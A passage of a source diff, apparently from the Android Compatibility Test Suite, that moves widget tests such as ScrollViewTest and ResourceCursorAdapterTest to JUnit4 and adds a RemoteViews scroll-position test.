+    public void testSetOnClickPendingIntent() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        verifyItemClickIntents(0);
+
+        // Switch to another child
+        verifySetDisplayedChild(2);
+        verifyItemClickIntents(2);
+
+        // And one more
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_NEXT, 3);
+        verifyItemClickIntents(3);
+    }
+
+    private class ListScrollListener implements AbsListView.OnScrollListener {
+        private CountDownLatch mLatchToNotify;
+
+        private int mTargetPosition;
+
+        public ListScrollListener(CountDownLatch latchToNotify, int targetPosition) {
+            mLatchToNotify = latchToNotify;
+            mTargetPosition = targetPosition;
+        }
+
+        @Override
+        public void onScrollStateChanged(AbsListView view, int scrollState) {
+        }
+
+        @Override
+        public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount,
+                int totalItemCount) {
+            if ((mTargetPosition >= firstVisibleItem) &&
+                    (mTargetPosition <= (firstVisibleItem + visibleItemCount))) {
+                mLatchToNotify.countDown();
+            }
+        }
+    }
+
+    @Test
+    public void testSetScrollPosition() {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        mListView = (ListView) mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+
+        final CountDownLatch updateLatch = new CountDownLatch(1);
+        final AtomicBoolean scrollToPositionIsComplete = new AtomicBoolean(false);
+        // We're configuring our provider with three parameters:
+        // 1. The CountDownLatch to be notified when the provider has been enabled
+        // 2. The gating condition that waits until ListView has populated its content
+        //    so that we can proceed to call setScrollPosition on it
+        // 3. The gating condition that waits until the setScrollPosition has completed
+        //    its processing / scrolling so that we can proceed to call
+        //    setRelativeScrollPosition on it
+        MyAppWidgetProvider.configure(updateLatch, () -> mListView.getChildCount() > 0,
+                scrollToPositionIsComplete::get);
+
+        final int positionToScrollTo = COUNTRY_LIST.length - 10;
+        final int scrollByAmount = COUNTRY_LIST.length / 2;
+        final int offsetScrollTarget = positionToScrollTo - scrollByAmount;
+
+        // Register the first scroll listener on our ListView. The listener will notify our latch
+        // when the "target" item comes into view. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch scrollToPositionLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(
+                new ListScrollListener(scrollToPositionLatch, positionToScrollTo));
+
+        // Create the intent to update the widget. Note that we're passing the "indication"
+        // to switch to our ListView in the intent that we're creating.
+        Intent intent = new Intent(mContext, MyAppWidgetProvider.class);
+        intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);
+        intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, new  int[] { mAppWidgetId });
+        intent.putExtra(MyAppWidgetProvider.KEY_SWITCH_TO_LIST, true);
+        intent.putExtra(MyAppWidgetProvider.KEY_SCROLL_POSITION, positionToScrollTo);
+        intent.putExtra(MyAppWidgetProvider.KEY_SCROLL_OFFSET, -scrollByAmount);
+        mContext.sendBroadcast(intent);
+
+        // Wait until the update request has been processed
+        try {
+            assertTrue(updateLatch.await(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
+        // And wait until the underlying ListView has been updated to be visible
+        PollingCheck.waitFor(TEST_TIMEOUT_MS, () -> mListView.getVisibility() == View.VISIBLE);
+
+        // Wait until our ListView has at least one visible child view. At that point we know
+        // that not only the host view is on screen, but also that the list view has completed
+        // its layout pass after having asked its adapter to populate the list content.
+        PollingCheck.waitFor(TEST_TIMEOUT_MS, () -> mListView.getChildCount() > 0);
+
+        // If we're on a really big display, we might be in a situation where the position
+        // we're going to scroll to is already visible. In that case the logic in the rest
+        // of this test will never fire off a listener callback and then fail the test.
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+        if (positionToScrollTo <= lastVisiblePosition) {
+            return;
+        }
+
+        boolean result = false;
+        try {
+            result = scrollToPositionLatch.await(20, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            // ignore
+        }
+        assertTrue("Timed out while waiting for the target view to be scrolled into view", result);
+
+        if ((offsetScrollTarget < 0) ||
+                (offsetScrollTarget >= mListView.getFirstVisiblePosition())) {
+            // We can't scroll up because the target is either already visible or negative
+            return;
+        }
+
+        // Now register another scroll listener on our ListView. The listener will notify our latch
+        // when our new "target" item comes into view. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch scrollByOffsetLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(
+                new ListScrollListener(scrollByOffsetLatch, offsetScrollTarget));
+
+        // Update our atomic boolean to "kick off" the widget provider request to call
+        // setRelativeScrollPosition on our RemoteViews
+        scrollToPositionIsComplete.set(true);
+        try {
+            result = scrollByOffsetLatch.await(20, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            // ignore
+        }
+        assertTrue("Timed out while waiting for the target view to be scrolled into view", result);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
index 9f9f1d7..3550108 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
@@ -16,15 +16,20 @@
 
 package android.widget.cts;
 
-
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.RemoteViews;
-import android.widget.RemoteViews.ActionException;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
- * Test {@link ActionException}.
+ * Test {@link RemoteViews.ActionException}.
  */
-public class RemoteViews_ActionExceptionTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViews_ActionExceptionTest {
+    @Test
     public void testConstructor() {
         String message = "This is exception message";
         new RemoteViews.ActionException(message);
diff --git a/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
index aefca0f..972f092 100644
--- a/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
@@ -16,23 +16,36 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static junit.framework.Assert.assertTrue;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
 
 import android.content.Context;
 import android.database.Cursor;
 import android.database.MatrixCursor;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.ResourceCursorAdapter;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ResourceCursorAdapter}.
  */
-public class ResourceCursorAdapterTest extends InstrumentationTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ResourceCursorAdapterTest {
     private ResourceCursorAdapter mResourceCursorAdapter;
 
     private Context mContext;
@@ -41,11 +54,9 @@
 
     private Cursor mCursor;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResourceCursorAdapter = null;
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         LayoutInflater layoutInflater = (LayoutInflater) mContext.getSystemService(
                 Context.LAYOUT_INFLATER_SERVICE);
         mParent = (ViewGroup) layoutInflater.inflate(R.layout.cursoradapter_host, null);
@@ -53,6 +64,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         MockResourceCursorAdapter adapter = new MockResourceCursorAdapter(mContext, -1, null);
         // the default is true
@@ -71,6 +83,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetViewResource() {
         mResourceCursorAdapter = new MockResourceCursorAdapter(mContext,
                 R.layout.cursoradapter_item0, mCursor);
@@ -87,6 +100,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetDropDownViewResource() {
         mResourceCursorAdapter = new MockResourceCursorAdapter(mContext,
                 R.layout.cursoradapter_item0, mCursor);
@@ -110,8 +124,9 @@
         assertEquals(R.id.cursorAdapter_item0, result.getId());
     }
 
-    // parameters Context and Cursor are never readin the method
+    // parameters Context and Cursor are never read in the method
     @UiThreadTest
+    @Test
     public void testNewDropDownView() {
         mResourceCursorAdapter = new MockResourceCursorAdapter(mContext,
                 R.layout.cursoradapter_item0, mCursor);
@@ -128,6 +143,7 @@
 
     // The parameters Context and Cursor are never read in the method
     @UiThreadTest
+    @Test
     public void testNewView() {
         mResourceCursorAdapter = new MockResourceCursorAdapter(mContext,
                 R.layout.cursoradapter_item0, mCursor);
diff --git a/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
index e801e93..2076620 100644
--- a/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
@@ -16,23 +16,31 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
 
 import android.content.Context;
 import android.database.Cursor;
 import android.database.MatrixCursor;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.ResourceCursorTreeAdapter;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ResourceCursorTreeAdapter}.
  */
-public class ResourceCursorTreeAdapterTest extends InstrumentationTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ResourceCursorTreeAdapterTest {
     private ResourceCursorTreeAdapter mResourceCursorTreeAdapter;
 
     private Context mContext;
@@ -63,16 +71,16 @@
 
     private int mLastChildId = R.id.cursorAdapter_item1;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         LayoutInflater layoutInflater = (LayoutInflater) mContext.getSystemService(
                 Context.LAYOUT_INFLATER_SERVICE);
         mParent = (ViewGroup) layoutInflater.inflate(R.layout.cursoradapter_host, null);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         mResourceCursorTreeAdapter = new MockResourceCursorTreeAdapter(mContext, null,
                 mGroupLayout, mChildLayout);
@@ -96,8 +104,9 @@
         new MockResourceCursorTreeAdapter(mContext, null, -1, -1, -1, -1);
     }
 
-    // The parameters Context and Cursor are never readin the method
+    // The parameters Context and Cursor are never read in the method
     @UiThreadTest
+    @Test
     public void testNewChildView() {
         mResourceCursorTreeAdapter = new MockResourceCursorTreeAdapter(mContext, null,
                 mGroupLayout, mChildLayout);
@@ -118,8 +127,9 @@
         assertEquals(mNormalChildId, result.getId());
     }
 
-    // The parameters Context and Cursor are never readin the method
+    // The parameters Context and Cursor are never read in the method
     @UiThreadTest
+    @Test
     public void testNewGroupView() {
         mResourceCursorTreeAdapter = new MockResourceCursorTreeAdapter(mContext, null,
                 mGroupLayout, mChildLayout);
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ScrollViewCtsActivity.java
index b2b51c6..52f7e0f 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 public class ScrollViewCtsActivity extends Activity {
     @Override
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
index 26510f27..3abb023 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
@@ -16,36 +16,48 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
 
-import android.widget.FrameLayout;
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
 import android.view.View;
-import android.view.ViewGroup;
 import android.view.View.MeasureSpec;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
 import android.widget.ScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
 /**
  * Test {@link ScrollView}.
  */
-public class ScrollViewTest extends ActivityInstrumentationTestCase2<ScrollViewCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ScrollViewTest {
     // view dpi constants. Must match those defined in scroll_view layout
     private static final int ITEM_WIDTH_DPI  = 250;
     private static final int ITEM_HEIGHT_DPI = 100;
@@ -61,30 +73,36 @@
     private int mScrollBottom;
     private int mScrollRight;
 
-    private MyScrollView mScrollView;
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
+    private ScrollView mScrollViewRegular;
+    private ScrollView mScrollViewCustom;
+    private MyScrollView mScrollViewCustomEmpty;
 
-    public ScrollViewTest() {
-        super("android.widget.cts", ScrollViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ScrollViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ScrollViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mScrollView = (MyScrollView) mActivity.findViewById(R.id.scroll_view);
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mScrollViewRegular = (ScrollView) mActivity.findViewById(R.id.scroll_view_regular);
+        mScrollViewCustom = (ScrollView) mActivity.findViewById(R.id.scroll_view_custom);
+        mScrollViewCustomEmpty = (MyScrollView) mActivity.findViewById(
+                R.id.scroll_view_custom_empty);
 
         // calculate pixel positions from dpi constants.
-        final float density = getActivity().getResources().getDisplayMetrics().density;
-        mItemWidth = (int) (ITEM_WIDTH_DPI * density + 0.5f);
-        mItemHeight = (int) (ITEM_HEIGHT_DPI * density + 0.5f);
-        mPageWidth = (int) (PAGE_WIDTH_DPI * density + 0.5f);
-        mPageHeight = (int) (PAGE_HEIGHT_DPI * density + 0.5f);
+        mItemWidth = TestUtils.dpToPx(mActivity, ITEM_WIDTH_DPI);
+        mItemHeight = TestUtils.dpToPx(mActivity, ITEM_HEIGHT_DPI);
+        mPageWidth = TestUtils.dpToPx(mActivity, PAGE_WIDTH_DPI);
+        mPageHeight = TestUtils.dpToPx(mActivity, PAGE_HEIGHT_DPI);
 
         mScrollBottom = mItemHeight * ITEM_COUNT - mPageHeight;
         mScrollRight = mItemWidth - mPageWidth;
     }
 
+    @Test
     public void testConstructor() {
         XmlPullParser parser = mActivity.getResources().getLayout(R.layout.scrollview_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -95,226 +113,214 @@
         new ScrollView(mActivity, attrs, 0);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetMaxScrollAmount() {
         // the value is half of total layout height
-        ScrollView scrollView = new ScrollView(mActivity);
-        scrollView.layout(0, 0, 100, 200);
-        assertEquals((200 - 0) / 2, scrollView.getMaxScrollAmount());
+        mScrollViewRegular.layout(0, 0, 100, 200);
+        assertEquals((200 - 0) / 2, mScrollViewRegular.getMaxScrollAmount());
 
-        scrollView.layout(0, 0, 150, 100);
-        assertEquals((100 - 0) / 2, scrollView.getMaxScrollAmount());
+        mScrollViewRegular.layout(0, 0, 150, 100);
+        assertEquals((100 - 0) / 2, mScrollViewRegular.getMaxScrollAmount());
     }
 
+    @UiThreadTest
+    @Test
     public void testAddView() {
-        ScrollView scrollView = new ScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0);
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0);
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1);
+            mScrollViewRegular.addView(child1);
             fail("ScrollView can host only one direct child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithIndex() {
-        ScrollView scrollView = new ScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0, 0);
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0, 0);
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, 1);
+            mScrollViewRegular.addView(child1, 1);
             fail("ScrollView can host only one direct child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new ScrollView(mActivity);
-        scrollView.addView(child0, -1);
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.removeAllViews();
+        mScrollViewRegular = new ScrollView(mActivity);
+        mScrollViewRegular.addView(child0, -1);
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, -1);
+            mScrollViewRegular.addView(child1, -1);
             fail("ScrollView can host only one direct child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new ScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
+        mScrollViewRegular = new ScrollView(mActivity);
         try {
-            scrollView.addView(child0, 1);
+            mScrollViewRegular.addView(child0, 1);
             fail("ScrollView can host only one direct child");
         } catch (IndexOutOfBoundsException e) {
             // expected
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithLayoutParams() {
-        ScrollView scrollView = new ScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0, new ViewGroup.LayoutParams(200, 100));
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0, new ViewGroup.LayoutParams(200, 100));
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
         assertEquals(200, child0.getLayoutParams().width);
         assertEquals(100, child0.getLayoutParams().height);
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child1, new ViewGroup.LayoutParams(200, 100));
             fail("ScrollView can host only one direct child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new ScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
+        mScrollViewRegular = new ScrollView(mActivity);
         child0 = new TextView(mActivity);
         try {
-            scrollView.addView(child0, null);
+            mScrollViewRegular.addView(child0, null);
             fail("The LayoutParams should not be null!");
         } catch (NullPointerException e) {
             // expected
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithIndexAndLayoutParams() {
-        ScrollView scrollView = new ScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0, 0, new ViewGroup.LayoutParams(200, 100));
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0, 0, new ViewGroup.LayoutParams(200, 100));
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
         assertEquals(200, child0.getLayoutParams().width);
         assertEquals(100, child0.getLayoutParams().height);
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, 0, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child1, 0, new ViewGroup.LayoutParams(200, 100));
             fail("ScrollView can host only one direct child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new ScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
         child0 = new TextView(mActivity);
         try {
-            scrollView.addView(child0, null);
+            mScrollViewRegular.addView(child0, null);
             fail("The LayoutParams should not be null!");
         } catch (NullPointerException e) {
             // expected
         }
 
-        scrollView.removeAllViews();
-        scrollView = new ScrollView(mActivity);
-        scrollView.addView(child0, -1, new ViewGroup.LayoutParams(300, 150));
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.removeAllViews();
+        mScrollViewRegular.addView(child0, -1, new ViewGroup.LayoutParams(300, 150));
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
         assertEquals(300, child0.getLayoutParams().width);
         assertEquals(150, child0.getLayoutParams().height);
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, -1, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child1, -1, new ViewGroup.LayoutParams(200, 100));
             fail("ScrollView can host only one direct child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new ScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
         try {
-            scrollView.addView(child0, 1, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child0, 1, new ViewGroup.LayoutParams(200, 100));
             fail("ScrollView can host only one direct child");
         } catch (IndexOutOfBoundsException e) {
             // expected
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessFillViewport() {
-        ScrollView scrollView = new ScrollView(mActivity);
-        assertFalse(scrollView.isFillViewport());
-        scrollView.layout(0, 0, 100, 100);
-        assertFalse(scrollView.isLayoutRequested());
+        assertFalse(mScrollViewRegular.isFillViewport());
+        mScrollViewRegular.layout(0, 0, 100, 100);
+        assertFalse(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.setFillViewport(false);
-        assertFalse(scrollView.isFillViewport());
-        assertFalse(scrollView.isLayoutRequested());
+        mScrollViewRegular.setFillViewport(false);
+        assertFalse(mScrollViewRegular.isFillViewport());
+        assertFalse(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.setFillViewport(true);
-        assertTrue(scrollView.isFillViewport());
-        assertTrue(scrollView.isLayoutRequested());
+        mScrollViewRegular.setFillViewport(true);
+        assertTrue(mScrollViewRegular.isFillViewport());
+        assertTrue(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.layout(0, 0, 100, 100);
-        assertFalse(mScrollView.isLayoutRequested());
+        mScrollViewRegular.layout(0, 0, 100, 100);
+        assertFalse(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.setFillViewport(false);
-        assertFalse(scrollView.isFillViewport());
-        assertTrue(scrollView.isLayoutRequested());
+        mScrollViewRegular.setFillViewport(false);
+        assertFalse(mScrollViewRegular.isFillViewport());
+        assertTrue(mScrollViewRegular.isLayoutRequested());
     }
 
+    @Test
     public void testAccessSmoothScrollingEnabled() throws Throwable {
-        assertTrue(mScrollView.isSmoothScrollingEnabled());
+        assertTrue(mScrollViewCustom.isSmoothScrollingEnabled());
 
         // scroll immediately
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertFalse(mScrollView.isSmoothScrollingEnabled());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertFalse(mScrollViewCustom.isSmoothScrollingEnabled());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_DOWN);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_DOWN));
 
-        assertEquals(mScrollBottom, mScrollView.getScrollY(), TOLERANCE);
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_UP);
-            }
-        });
-        assertEquals(0, mScrollView.getScrollY());
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_UP));
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
         // smooth scroll
-        mScrollView.setSmoothScrollingEnabled(true);
-        assertTrue(mScrollView.isSmoothScrollingEnabled());
+        mScrollViewCustom.setSmoothScrollingEnabled(true);
+        assertTrue(mScrollViewCustom.isSmoothScrollingEnabled());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_DOWN);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_DOWN));
         pollingCheckSmoothScrolling(0, 0, 0, mScrollBottom);
-        assertEquals(mScrollBottom, mScrollView.getScrollY(), TOLERANCE);
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_UP);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_UP));
         pollingCheckSmoothScrolling(0, 0, mScrollBottom, 0);
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChild() {
-        MyScrollView scrollView = new MyScrollView(mActivity);
-
         MyView child = new MyView(mActivity);
         child.setBackgroundDrawable(null);
         child.setPadding(0, 0, 0, 0);
@@ -326,16 +332,17 @@
         assertEquals(100, child.getMeasuredHeight());
         assertEquals(100, child.getMeasuredWidth());
 
-        scrollView.measureChild(child, MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewCustomEmpty.measureChild(child,
+                MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY));
 
         assertEquals(30, child.getMeasuredHeight());
         assertEquals(100, child.getMeasuredWidth());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChildWithMargins() {
-        MyScrollView mockScrollView = new MyScrollView(mActivity);
-
         MyView child = new MyView(mActivity);
         child.setBackgroundDrawable(null);
         child.setPadding(0, 0, 0, 0);
@@ -347,7 +354,7 @@
         assertEquals(100, child.getMeasuredHeight());
         assertEquals(100, child.getMeasuredWidth());
 
-        mockScrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 5,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 5);
 
@@ -355,37 +362,42 @@
         assertEquals(100, child.getMeasuredWidth());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecs() {
         MyView child = spy(new MyView(mActivity));
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChild(child, MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY),
+        mScrollViewCustomEmpty.measureChild(child,
+                MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY));
         verify(child).onMeasure(
                 eq(MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY)),
                 eq(MeasureSpec.makeMeasureSpec(100, MeasureSpec.UNSPECIFIED)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithPadding() {
         MyView child = spy(new MyView(mActivity));
-        MyScrollView scrollView = new MyScrollView(mActivity);
